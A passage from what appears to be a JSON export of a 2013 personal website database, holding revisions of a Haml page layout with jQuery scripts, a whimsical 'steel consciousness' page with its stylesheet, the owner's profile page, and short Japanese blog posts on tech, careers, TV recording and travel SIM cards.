\"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4(style=\"float:left\") Site Search\r\n %input#search(style=\"float:left\")\r\n %span(style='clear:both\")\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:56:59.000Z","updated_at":"2013-04-05T17:56:59.000Z"},{"id":2396,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4(style=\"float:left\") Site Search\r\n %input#search(style=\"float:left\")\r\n %span(style=\"clear:both\")\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:57:11.000Z","updated_at":"2013-04-05T17:57:11.000Z"},{"id":2397,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4(style=\"float:left\") Site Search\r\n %input#search(style=\"float:left\")\r\n %br(style=\"clear:both\")\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:57:26.000Z","updated_at":"2013-04-05T17:57:26.000Z"},{"id":2398,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4(style=\"float:left\") Site Search\r\n %div(style=\"float:left\")\r\n %input#search\r\n %br(style=\"clear:both\")\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:58:14.000Z","updated_at":"2013-04-05T17:58:14.000Z"},{"id":2399,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T18:03:29.000Z","updated_at":"2013-04-05T18:03:29.000Z"},{"id":2400,"name":"text/声優の携帯電話というサイトを作りました","body":"%blog%\r\n\r\n- [声優の携帯電話](http://seiyunokeitaidenwa.ssig33.com/)\r\n- [サイトのソースコード](https://github.com/ssig33/seiyunokeitaidenwa)\r\n\r\n声優の携帯電話の情報を登録し、いろんな観点から一覧出来るサイトです。\r\n\r\n正直 scaffold に認証つけただけに近いんですが、こうやってデータをまとめるだけでかなり面白いです。\r\n\r\nどうぞ、ご利用ください。","created_at":"2013-04-07T05:09:36.000Z","updated_at":"2013-04-07T05:09:36.000Z"},{"id":2401,"name":"text/4 月にエンジニア","body":"%blog% 4 月にエンジニアとなった人たちに知っておいてもらいたいこと\r\n\r\n大抵の場合転職しない限り給与とか上がらんからそのつもりでいた方がいいです。昇給ある会社も大抵 2 年で昇給止まる。","created_at":"2013-04-17T02:56:54.000Z","updated_at":"2013-04-17T02:56:54.000Z"},{"id":2402,"name":"text/リブーターを買った","body":"%blog%\r\n\r\n[これ](http://www.meikyo.co.jp/products/m2c.html)買った。 [25800 円](http://online.plathome.co.jp/item/detail/12441399/%E6%98%8E%E4%BA%AC%E9%9B%BB%E6%A9%9F/WATCH-BOOT-nino/RPC-M2C)。\r\n\r\nPC でテレビ番組を録画している人ならなんとなく経験があることかとは思うが、結構 PC が頓死します。あきらかに録画用のハードウェアやドライバが原因なので手も脚も出ない。よってこれが起きると昔ながらの電プチによる復帰をしないといけないわけです。\r\n\r\nですがまあ実際問題そう頻繁に落ちるかというとそうでもなく、月に 1 度か 2 度あるかどうか、まあそれくらいなら手動で対処してもいいやという感じで運用してました。\r\n\r\nところが結構僕が関東や日本にいないことが多いかんじで、そのタイミングで死んだらどうにもならない、これまで奇跡的にそういうタイミングで死んでなかっただけという感じで極めてよろしくないので上記の商品を買った次第です。\r\n\r\n30 分ぐらいかけていろいろ設定すると簡単に死活監視と自動電プチ自動復帰、緊急時の手動での再起動などが出来るようになり極めて生活が快適になった感があります。\r\n\r\n録画などに限らず、常時稼動するサーバーを自宅に設置している人はこういうもの持ってたほうがいい気します。","created_at":"2013-04-17T13:01:13.000Z","updated_at":"2013-04-17T13:01:13.000Z"},{"id":2403,"name":"koutetsu.itoyanagi.name.ssig33.com","body":"raw\r\nmime html\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003c!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\"\u003e\r\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ja\"\u003e\r\n\u003chead\u003e\r\n\t\u003clink rel=\"start index\" href=\"./\" /\u003e\r\n\t\u003clink rev=\"made\" href=\"mailto:kazunori@itoyanagi.name\" /\u003e\r\n\t\u003ctitle\u003e鋼鉄の意識\u003c/title\u003e\r\n\t\u003clink rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"./default.css\" /\u003e\r\n\u003c/head\u003e\r\n\r\n\u003cbody\u003e\r\n\r\n\u003ch1\u003e鋼鉄の意識\u003c/h1\u003e\r\n\r\n\u003cp\u003e人間の肉体の70%は水分だが、その実態は血液である。そして血液は鉄分であり、すなわち人類は鋼の存在である。前世に於いて純粋な鋼鉄として存在していた我々は、錆びにより肉に詰められた鉄として転生した。我々は錆びを落とし、新たなる鋼鉄として復活しなければならない。\u003c/p\u003e\r\n\r\n\u003col\u003e\r\n\t\u003cli\u003e人類は鉄と共に歩み、そして倒されてきた。\u003c/li\u003e\r\n\t\u003cli\u003e私の体から鉄がにじみ出ると冒涜である。\u003c/li\u003e\r\n\t\u003cli\u003e全ての血液は舐めとることができる。\u003c/li\u003e\r\n\t\u003cli\u003e筋肉は鉄を保有する。全ての筋肉である。\u003c/li\u003e\r\n\t\u003cli\u003e鋼鉄の意識が私を支配する。支配されないことが始まりである。\u003c/li\u003e\r\n\t\u003cli\u003e倒されても折れない鋼鉄が存在する。\u003c/li\u003e\r\n\u003c/ol\u003e\r\n\r\n\u003cp\u003eまず、私が鉄を言葉にして感じたのは、夏のことである。私は水分を残して錆びている頃にも、鋼鉄の意識が世界の全てを支配していることがわかっていた。誰も気付いていないが、人類は血液であり、鋼である。その体内を流れる鋼鉄が、流れこそが私の意識を鉄の姿にしていることを、ふと考えてみた。そして汗をかき、全ての水分が私から失われた。私は純粋な鋼鉄になり、そこには何もかもがあった。ちょうど鉄の像を想像していると思っていいだろう。一撃である。錆びている頃には私にもわからなかったが、今の私には、敵が水分だと思っても構わない。\u003c/p\u003e\r\n\r\n\u003cp\u003e筋肉を鍛えていると、筋肉に鉄が存在することがわかる。動かしているのは筋肉であり、すなわち鉄である。硬くすると鋼鉄のような体と言う。これこそが全てである。\u003c/p\u003e\r\n\r\n\u003cp\u003e私は筋肉を鍛え始めた。最も重要なものが脂である。人体には脂がある。これは中華鍋を暖めて錆びないためのごま油である。私は体の贅肉を鍛えた。これも鍛えることが肝要で、それから私は筋肉と脂の虜の一人である。\u003c/p\u003e\r\n\r\n\u003cp\u003e太陽には磁力がある。我々にも微弱ながら筋肉が磁力として働き、互いに引き合っている。肉体の美しさに引かれるのは磁力である。一つの巨大な鋼鉄の意識として、まず太陽の巨大な意識に戻り、プラスマイナスゼロとなる。そのためには太陽の巨大な、一つになるための熱量、爆発が寸前に回避できるだけの力が、鋼鉄の肉体として存在しなければならない。\u003c/p\u003e\r\n\r\n\u003cp class=\"note\"\u003e鋼鉄である。そして、我々は真面目に取り組んでいます。\u003c/p\u003e\r\n\r\n\u003c/body\u003e\r\n\u003c/html\u003e\r\n\r\nsubdomain only","created_at":"2013-04-23T09:41:48.000Z","updated_at":"2013-04-23T09:41:48.000Z"},{"id":2404,"name":"koutetsu.itoyanagi.name.ssig33.com/default.css","body":"raw\r\nmime css\r\n\r\n\r\n\r\nhtml {\r\n\tbackground: #000033;\r\n}\r\n\r\na:visited {\r\n\tcolor: #BBBBFF;\r\n}\r\n\r\na:link {\r\n\tcolor: #9999FF;\r\n}\r\n\r\na:hover, a:active {\r\n\tcolor: #8888FF;\r\n}\r\n\r\nbody {\r\n\tmargin: 0%;\r\n\tpadding: 0% 5% 30% 5%;\r\n\ttext-align: left;\r\n\tcolor: #D8D8FF;\r\n}\r\n\r\ndiv.pre {\r\n\tbackground-color: #4C4C7D;\r\n\tcolor: #D8D8FF;\r\n\tpadding: 0.2em 0.5em 0.2em 0.5em;\r\n\ttext-indent: 0.0em;\r\n}\r\n\r\nh1 {\r\n\tfont-size: 22pt;\r\n}\r\n\r\nh2 {\r\n\tfont-size: 15pt;\r\n\tbackground-color: #444477;\r\n\tcolor: #D8D8FF;\r\n}\r\n\r\nh3 {\r\n\tfont-size: 13pt;\r\n\tbackground-color: #444477;\r\n\tcolor: #D8D8FF;\r\n}\r\n\r\nh4 {\r\n\tborder-bottom: thin solid #666666;\r\n}\r\n\r\ndl {\r\n\tmargin-top: 0.1em;\r\n\tpadding-top: 0.0em;\r\n\tpadding-bottom: 0.3em;\r\n}\r\n\r\ndt {\r\n\tfont-size: 11pt;\r\n\tfont-weight: bold;\r\n\tpadding-top: 0.3em;\r\n\tpadding-bottom: 0.2em;\r\n}\r\n\r\ndd {\r\n\tfont-size: 11pt;\r\n\tpadding-bottom: 0.1em;\r\n\ttext-indent: 1em;\r\n\tmargin-left: 2.0em;\r\n}\r\n\r\n\r\nimg {\r\n\tborder: 0;\r\n}\r\n","created_at":"2013-04-23T09:42:08.000Z","updated_at":"2013-04-23T09:42:08.000Z"},{"id":2405,"name":"index","body":"# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-04-23T09:49:08.000Z","updated_at":"2013-04-23T09:49:08.000Z"},{"id":2406,"name":"others","body":"## ssig33.com other contents\r\n[連絡先](/連絡先)\r\n\r\n[Old Texts](http://text.ssig33.com)\r\n\r\n[女川町の様子](/onagawa)\r\n\r\n[Please](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Sitemap](/sitemap)\r\n\r\n[Blog(old)](/blog)\r\n\r\n\u003chr /\u003e\r\n[back to the top](/)","created_at":"2013-04-23T09:49:31.000Z","updated_at":"2013-04-23T09:49:31.000Z"},{"id":2407,"name":"text/キャリアパス分離の話","body":"%blog%\r\n\r\n- 幹部社員とそうじゃない社員のキャリアパスを完全に分ける\r\n- 全員同じところからスタートしてすこしづつふるいにかける\r\n\r\nというのがどちらが優れているかというのを論争するのが皆さん大好きなわけですが。実際問題どちらの方法にも成功例失敗例いくらでもあるわけです。\r\n\r\nキャリアパス分離型の失敗例として日本で最も良く知られる事例は旧日本軍でしょう。ですがこれはキャリアパスが分離されていることが問題なのではなくて\r\n\r\n- 陸軍大学校の教育内容がアレだった\r\n- 陸軍大学校以降特に教育機関がないなどその後のキャリアパスの整備が酷かった\r\n\r\nという話だと一般に理解されていると思います。戦後後継組織の陸自ではその辺いろいろ考慮して教育機関を大量整備したり外部の大学院に自衛官送り出したりいろいろしてます。\r\n\r\n結局のところキャリアパス全体がよく整備されているかどうかという個々の事例によって優劣が決まるので「ユニクロはキャリアパス分離だから糞」みたいなこと言ってもしょうがないと思います。「ユニクロ入れば海外で働くエリートになれるよ〜」って事実誤認させてる(あるいは大学生がそういう風に誤認しているのを否定しない)というのは糞なんでしょうが。\r\n\r\nそれはともかく引っ越してきたのだがこの辺にはユニクロがない。狛江市は東京の闇のようなところだと思う。","created_at":"2013-04-24T02:51:13.000Z","updated_at":"2013-04-24T02:51:13.000Z"},{"id":2408,"name":"text/HDD を毎月 12TB 使う人について","body":"%blog%\r\n\r\n最近話題になっていた HDD を毎月 12TB 消費する人についてですが、僕が今手元のファイルを計算してみたところ、\r\n\r\n- 無料のアニメを全部録画して MPEG2-TS で保存した場合、月間 3000GB 〜 4000GB ぐらい必要\r\n\r\nという感じになります。なんで曖昧な数字しか出せないかというと 720p の MP4 に変換してしまっているからです。だいたいエンコードで 1/7 〜 1/9 ぐらいまで圧縮していて、手元のアニメが月間で 430GB という数字だったので上記のような数字が出てきます。\r\n\r\n僕はそれ以外にもいろいろ録画していて、直近一ヶ月の実績として月間 1250GB ほど録画しています。エンコード後の数字なので TS で保存すれば 10000GB 〜 14000GB ぐらいになるんでしょうか。\r\n\r\nというわけで実感として 12TB の HDD を毎月消費するというのはそんなにありえない量ではないと思います。資源でいえばテレビチューナーは 8 局同時録画ぐらいの量あればいいと思います。具体的には PT3 2 枚で運用みたいなことしてる可能性が高いと思う。\r\n\r\nそれで、その程度の量の録画なら Intel Quick Sync Video などの技術を使うことで 720p の MP4 に変換することが可能です。そして MP4 にしてしまえば月間 1TB ちょいの HDD 消費ですみますし、[ブラウザベースのメディアプレイヤー](https://github.com/ssig33/pig-media-server)とかを作って遠隔地からも動画を見れるようにしてガンガン見たりして有効に動画という資源を使えるのではないかと思います。","created_at":"2013-05-02T11:03:12.000Z","updated_at":"2013-05-02T11:03:12.000Z"},{"id":2409,"name":"text/発展途上国でスムースに SIM を買う","body":"%blog% 発展途上国でスムースに SIM を買うにあたって注意した方がいいこと\r\n\r\nSIM フリーな携帯電話機が国内において入手が容易となった昨今、海外旅行をするにあたって国内キャリアの高価な海外ローミングを使用するのではなく、現地キャリアの安価なプリペイド SIM カードを購入するという選択肢はますます一般的なものになってきていると思います。\r\n\r\nまた携帯電話のデータ通信インフラなどが先進国だけでなく発展途上国にも浸透してきており、わりといろんな国で SIM を買うことになるかと思います。\r\n\r\nここで発展途上国で SIM を買うにあたって以下の 2 点を注意しておくと非常にやりとりをスムースに済ますことができます\r\n\r\n- iPhone ではなく Android を用意しておく\r\n- 携帯電話の言語設定は英語にしておく\r\n\r\n適当な屋台で SIM 売ってるなんていう場合でも(往々にして親切心から)店員がアクティベーションだけでなく疎通確認をしてくれることが多いです。それにあたって iPhone を出すとそれいくらで買ったのとかなんとか絡まれてめんどくさいことになる事例が多いです。 iPhone で使うにせよなるべく安そうな Android を渡して手続きを済ませてもらった方がいいです。\r\n\r\n言語設定を英語にしておくというのも店員が設定をすぐやれるようにするために必須です。また同じような理由から Windows Phone などあまり世に浸透してないデバイスを出すのもやめたほうがいいです。","created_at":"2013-05-04T08:43:29.000Z","updated_at":"2013-05-04T08:43:29.000Z"},{"id":2410,"name":"text/ベトナムで働くとして","body":"%blog%\r\n\r\n- ものによるが現状物価日本の 1/10 〜 1/7 ぐらい\r\n - 都市部の年収が 2 万ドルぐらいなのでベトナム人の生活は日本人規準ではまだまだ結構苦しいということにはなる\r\n- 物価にせよ年収にせよまだまだ上昇傾向\r\n- 日本にも関わりを残すとすると、日本円換算での収入は為替で大幅に変動する\r\n- たまには日本に帰ってきたいよね\r\n\r\nとか考えると結局なんだかんだで最低でも日本で同じような職責を背負う時の 1/2 〜 2/3 ぐらいは無いとつらいよねと思う。対日本比 100% 